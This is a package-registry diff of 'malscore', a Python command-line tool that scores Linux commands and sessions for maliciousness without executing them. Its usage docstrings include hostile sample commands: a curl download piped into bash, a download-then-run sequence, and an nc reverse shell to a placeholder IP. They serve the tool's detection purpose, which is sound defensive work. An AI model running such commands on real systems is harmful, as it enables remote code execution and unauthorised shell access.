malscore 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- malscore/__init__.py +27 -0
- malscore/__main__.py +6 -0
- malscore/cli.py +244 -0
- malscore/context.py +549 -0
- malscore/features.py +647 -0
- malscore/lexer.py +316 -0
- malscore/py.typed +0 -0
- malscore/redaction.py +44 -0
- malscore/scoring.py +290 -0
- malscore/signals.py +480 -0
- malscore/tradecraft.py +682 -0
- malscore-0.1.0.dist-info/METADATA +282 -0
- malscore-0.1.0.dist-info/RECORD +17 -0
- malscore-0.1.0.dist-info/WHEEL +5 -0
- malscore-0.1.0.dist-info/entry_points.txt +2 -0
- malscore-0.1.0.dist-info/licenses/LICENSE +202 -0
- malscore-0.1.0.dist-info/top_level.txt +1 -0
malscore/__init__.py
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
"""malscore -- score the maliciousness of a Linux command or a session of commands.
|
|
2
|
+
|
|
3
|
+
from malscore import Analyzer
|
|
4
|
+
result = Analyzer().assess_command("curl -s http://1.2.3.4/x.sh | bash")
|
|
5
|
+
print(result.score, result.verdict)
|
|
6
|
+
|
|
7
|
+
session = Analyzer().assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
|
|
8
|
+
|
|
9
|
+
Nothing is ever executed, expanded or resolved: the analysis only reads text.
|
|
10
|
+
"""
|
|
11
|
+
|
|
12
|
+
from __future__ import annotations
|
|
13
|
+
|
|
14
|
+
from .scoring import Analyzer, Assessment, verdict_for
|
|
15
|
+
from .signals import SESSION_SIGNALS, SIGNALS, Signal
|
|
16
|
+
|
|
17
|
+
__version__ = "0.1.0"
|
|
18
|
+
|
|
19
|
+
__all__ = [
|
|
20
|
+
"Analyzer",
|
|
21
|
+
"Assessment",
|
|
22
|
+
"Signal",
|
|
23
|
+
"SIGNALS",
|
|
24
|
+
"SESSION_SIGNALS",
|
|
25
|
+
"verdict_for",
|
|
26
|
+
"__version__",
|
|
27
|
+
]
|
malscore/__main__.py
ADDED
malscore/cli.py
ADDED
|
@@ -0,0 +1,244 @@
|
|
|
1
|
+
"""Command-line interface.
|
|
2
|
+
|
|
3
|
+
malscore "curl -s http://1.2.3.4/x.sh | bash" # score one command
|
|
4
|
+
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore - # read the command from stdin
|
|
5
|
+
malscore --session history.txt # score a session, one command per line
|
|
6
|
+
malscore --batch events.jsonl # score each command in a JSONL feed
|
|
7
|
+
malscore --session history.txt --json # machine-readable output
|
|
8
|
+
"""
|
|
9
|
+
|
|
10
|
+
from __future__ import annotations
|
|
11
|
+
|
|
12
|
+
import argparse
|
|
13
|
+
import gzip
|
|
14
|
+
import io
|
|
15
|
+
import json
|
|
16
|
+
import os
|
|
17
|
+
import sys
|
|
18
|
+
from typing import Any, Dict, Iterator, List, Optional, Sequence, Tuple
|
|
19
|
+
|
|
20
|
+
from .scoring import VERDICTS, Analyzer, Assessment
|
|
21
|
+
|
|
22
|
+
VERDICT_COLOR = {
|
|
23
|
+
"benign": "32", "low": "36", "medium": "33", "high": "35", "critical": "31",
|
|
24
|
+
}
|
|
25
|
+
BAR_WIDTH = 24
|
|
26
|
+
|
|
27
|
+
#: Field names that may carry the command line (or argv list) in a feed record.
|
|
28
|
+
COMMAND_KEYS = ("cmdline", "command", "cmd", "command_line", "commandline",
|
|
29
|
+
"proctitle", "exe_args", "args_string")
|
|
30
|
+
USER_KEYS = ("user", "username", "user_name", "acct", "auid_name", "subject_user")
|
|
31
|
+
TIME_KEYS = ("timestamp", "time", "@timestamp", "ts", "event_time", "start_time",
|
|
32
|
+
"eventTime", "datetime")
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
# --------------------------------------------------------------------------
|
|
36
|
+
# rendering
|
|
37
|
+
# --------------------------------------------------------------------------
|
|
38
|
+
def _supports_color(stream) -> bool:
|
|
39
|
+
return hasattr(stream, "isatty") and stream.isatty() and os.environ.get("NO_COLOR") is None
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
def _paint(text: str, code: str, enabled: bool) -> str:
|
|
43
|
+
return "\033[%sm%s\033[0m" % (code, text) if enabled else text
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def _bar(score: int, enabled: bool, verdict: str) -> str:
|
|
47
|
+
filled = int(round(score / 100 * BAR_WIDTH))
|
|
48
|
+
return _paint("█" * filled + "░" * (BAR_WIDTH - filled), VERDICT_COLOR[verdict], enabled)
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
def _truncate(text: str, width: int) -> str:
|
|
52
|
+
text = text.replace("\n", " ")
|
|
53
|
+
return text if len(text) <= width else text[: width - 1] + "…"
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
def render_text(assessment: Assessment, color: bool, explain: bool, title: str = "") -> str:
|
|
57
|
+
verdict = assessment.verdict
|
|
58
|
+
lines: List[str] = ["%s score %3d/100 %s" % (
|
|
59
|
+
_bar(assessment.score, color, verdict),
|
|
60
|
+
assessment.score,
|
|
61
|
+
_paint(verdict.upper(), VERDICT_COLOR[verdict] + ";1", color),
|
|
62
|
+
)]
|
|
63
|
+
if title:
|
|
64
|
+
lines.append(" " + title)
|
|
65
|
+
if assessment.tactics:
|
|
66
|
+
lines.append(" tactics: " + ", ".join(assessment.tactics))
|
|
67
|
+
|
|
68
|
+
if assessment.per_command:
|
|
69
|
+
flagged = [c for c in assessment.per_command if c.hits]
|
|
70
|
+
lines.append("")
|
|
71
|
+
lines.append(" %d command(s), %d flagged:" % (len(assessment.per_command), len(flagged)))
|
|
72
|
+
for command in flagged:
|
|
73
|
+
lines.append(" %s L%-4d %3d %-8s %s" % (
|
|
74
|
+
_bar(command.score, color, command.verdict),
|
|
75
|
+
command.line, command.score, command.verdict,
|
|
76
|
+
_truncate(command.command, 60)))
|
|
77
|
+
|
|
78
|
+
if explain and assessment.hits:
|
|
79
|
+
lines.append("")
|
|
80
|
+
lines.append(" evidence:")
|
|
81
|
+
for hit in assessment.hits:
|
|
82
|
+
lines.append(" [%0.2f] %-28s %s" % (hit.weight, hit.tactic, hit.title))
|
|
83
|
+
if hit.techniques:
|
|
84
|
+
lines.append(" %s" % " ".join(hit.techniques))
|
|
85
|
+
elif assessment.hits:
|
|
86
|
+
lines.append(" signals: " + ", ".join(h.id for h in assessment.hits[:6])
|
|
87
|
+
+ (" ..." if len(assessment.hits) > 6 else ""))
|
|
88
|
+
return "\n".join(lines)
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
# --------------------------------------------------------------------------
|
|
92
|
+
# input
|
|
93
|
+
# --------------------------------------------------------------------------
|
|
94
|
+
def _first(record: Dict[str, Any], keys: Sequence[str]) -> Any:
|
|
95
|
+
"""The first present, non-empty value among ``keys``."""
|
|
96
|
+
for key in keys:
|
|
97
|
+
value = record.get(key)
|
|
98
|
+
if value not in (None, "", []):
|
|
99
|
+
return value
|
|
100
|
+
return None
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def _read_text(path: str) -> str:
|
|
104
|
+
"""Read a text file; ``-`` reads stdin and a ``.gz`` suffix is decompressed."""
|
|
105
|
+
if path == "-":
|
|
106
|
+
return sys.stdin.read()
|
|
107
|
+
if path.endswith(".gz"):
|
|
108
|
+
with io.TextIOWrapper(gzip.open(path, "rb"), encoding="utf-8", errors="replace") as handle:
|
|
109
|
+
return handle.read()
|
|
110
|
+
with open(path, "r", encoding="utf-8", errors="replace") as handle:
|
|
111
|
+
return handle.read()
|
|
112
|
+
|
|
113
|
+
|
|
114
|
+
def read_feed(path: str) -> Iterator[Tuple[int, Dict[str, Any]]]:
|
|
115
|
+
"""Yield ``(line, record)`` from a JSON Lines file or a JSON array of objects.
|
|
116
|
+
|
|
117
|
+
Malformed lines and non-object entries are skipped, so one bad record never
|
|
118
|
+
aborts a feed.
|
|
119
|
+
"""
|
|
120
|
+
text = _read_text(path)
|
|
121
|
+
|
|
122
|
+
if text.lstrip().startswith("["):
|
|
123
|
+
try:
|
|
124
|
+
records = json.loads(text)
|
|
125
|
+
except json.JSONDecodeError as exc:
|
|
126
|
+
raise SystemExit("malscore: %s is not valid JSON: %s" % (path, exc))
|
|
127
|
+
for index, record in enumerate(records, start=1):
|
|
128
|
+
if isinstance(record, dict):
|
|
129
|
+
yield index, record
|
|
130
|
+
return
|
|
131
|
+
|
|
132
|
+
for index, line in enumerate(text.splitlines(), start=1):
|
|
133
|
+
line = line.strip()
|
|
134
|
+
if not line or line.startswith("#"):
|
|
135
|
+
continue
|
|
136
|
+
try:
|
|
137
|
+
record = json.loads(line)
|
|
138
|
+
except json.JSONDecodeError:
|
|
139
|
+
continue
|
|
140
|
+
if isinstance(record, dict):
|
|
141
|
+
yield index, record
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
def _feed_command(record: Dict[str, Any]) -> str:
|
|
145
|
+
"""Accept a string command line or an argv list (auditd/eBPF style)."""
|
|
146
|
+
value = _first(record, COMMAND_KEYS)
|
|
147
|
+
if isinstance(value, (list, tuple)):
|
|
148
|
+
return " ".join(str(part) for part in value)
|
|
149
|
+
return "" if value is None else str(value)
|
|
150
|
+
|
|
151
|
+
|
|
152
|
+
def _read_command(args: argparse.Namespace) -> Optional[str]:
|
|
153
|
+
if args.command == ["-"] or (not args.command and not sys.stdin.isatty()):
|
|
154
|
+
return sys.stdin.read()
|
|
155
|
+
if args.command:
|
|
156
|
+
return " ".join(args.command)
|
|
157
|
+
return None
|
|
158
|
+
|
|
159
|
+
|
|
160
|
+
# --------------------------------------------------------------------------
|
|
161
|
+
# main
|
|
162
|
+
# --------------------------------------------------------------------------
|
|
163
|
+
def _score_batch(analyzer: Analyzer, args: argparse.Namespace, color: bool) -> int:
|
|
164
|
+
"""Score each command in a feed; return the worst verdict rank seen."""
|
|
165
|
+
threshold = VERDICTS.index(args.min_verdict) if args.min_verdict else 0
|
|
166
|
+
worst = 0
|
|
167
|
+
shown = 0
|
|
168
|
+
for line, record in read_feed(args.batch):
|
|
169
|
+
assessment = analyzer.assess_command(_feed_command(record), line=line)
|
|
170
|
+
rank = VERDICTS.index(assessment.verdict)
|
|
171
|
+
worst = max(worst, rank)
|
|
172
|
+
if rank < threshold:
|
|
173
|
+
continue
|
|
174
|
+
shown += 1
|
|
175
|
+
if args.json:
|
|
176
|
+
result = assessment.as_dict(include_commands=False)
|
|
177
|
+
for name, keys in (("user", USER_KEYS), ("timestamp", TIME_KEYS)):
|
|
178
|
+
value = _first(record, keys)
|
|
179
|
+
if value is not None:
|
|
180
|
+
result[name] = value
|
|
181
|
+
print(json.dumps(result))
|
|
182
|
+
else:
|
|
183
|
+
print("%s %3d %-8s %s" % (_bar(assessment.score, color, assessment.verdict),
|
|
184
|
+
assessment.score, assessment.verdict,
|
|
185
|
+
_truncate(assessment.command, 70)))
|
|
186
|
+
if not args.json:
|
|
187
|
+
sys.stderr.write("scored feed; %d event(s) at or above '%s'\n" % (shown, args.min_verdict or "benign"))
|
|
188
|
+
return worst
|
|
189
|
+
|
|
190
|
+
|
|
191
|
+
def build_parser() -> argparse.ArgumentParser:
|
|
192
|
+
parser = argparse.ArgumentParser(
|
|
193
|
+
prog="malscore",
|
|
194
|
+
description="Score the maliciousness of a Linux command or a session of commands (0-100).",
|
|
195
|
+
epilog="The tool never executes what it analyses; it only reads the text.",
|
|
196
|
+
)
|
|
197
|
+
parser.add_argument("command", nargs="*", help="command to score, or '-' to read stdin")
|
|
198
|
+
parser.add_argument("-s", "--session", metavar="FILE",
|
|
199
|
+
help="score a session: one command per line ('-' reads stdin)")
|
|
200
|
+
parser.add_argument("--batch", metavar="FILE",
|
|
201
|
+
help="score every command in a JSONL/array event feed independently")
|
|
202
|
+
parser.add_argument("-j", "--json", action="store_true", help="emit JSON instead of text")
|
|
203
|
+
parser.add_argument("-e", "--explain", action="store_true",
|
|
204
|
+
help="list every signal with its weight and MITRE techniques")
|
|
205
|
+
parser.add_argument("--redact", action="store_true",
|
|
206
|
+
help="redact credential-looking values before echoing any command text")
|
|
207
|
+
parser.add_argument("--min-verdict", choices=VERDICTS,
|
|
208
|
+
help="in --batch, only print events at or above this verdict")
|
|
209
|
+
parser.add_argument("--fail-on", choices=VERDICTS,
|
|
210
|
+
help="exit 2 if the verdict is at or above this band")
|
|
211
|
+
parser.add_argument("--no-color", action="store_true", help="disable ANSI colour")
|
|
212
|
+
return parser
|
|
213
|
+
|
|
214
|
+
|
|
215
|
+
def main(argv: Optional[Sequence[str]] = None) -> int:
|
|
216
|
+
parser = build_parser()
|
|
217
|
+
args = parser.parse_args(argv)
|
|
218
|
+
if sum(1 for given in (args.command, args.session, args.batch) if given) > 1:
|
|
219
|
+
parser.error("give only one of a command, --session FILE or --batch FILE")
|
|
220
|
+
color =not args.no_color and not args.json and _supports_color(sys.stdout)
|
|
221
|
+
analyzer = Analyzer(redact=args.redact)
|
|
222
|
+
|
|
223
|
+
if args.batch:
|
|
224
|
+
worst = _score_batch(analyzer, args, color)
|
|
225
|
+
else:
|
|
226
|
+
if args.session:
|
|
227
|
+
assessment = analyzer.assess_session(_read_text(args.session).splitlines())
|
|
228
|
+
if not assessment.per_command:
|
|
229
|
+
parser.error("session %s contains no commands" % args.session)
|
|
230
|
+
else:
|
|
231
|
+
text = _read_command(args)
|
|
232
|
+
if text is None or not text.strip():
|
|
233
|
+
parser.error("provide a command, --session FILE, --batch FILE, or pipe via stdin")
|
|
234
|
+
assessment = analyzer.assess_command(text.strip())
|
|
235
|
+
if args.json:
|
|
236
|
+
print(json.dumps(assessment.as_dict(), indent=2))
|
|
237
|
+
else:
|
|
238
|
+
title = os.path.basename(args.session) if args.session and args.session != "-" else ""
|
|
239
|
+
print(render_text(assessment, color, args.explain, title=title))
|
|
240
|
+
worst = VERDICTS.index(assessment.verdict)
|
|
241
|
+
|
|
242
|
+
if args.fail_on and worst >= VERDICTS.index(args.fail_on):
|
|
243
|
+
return 2
|
|
244
|
+
return 0
|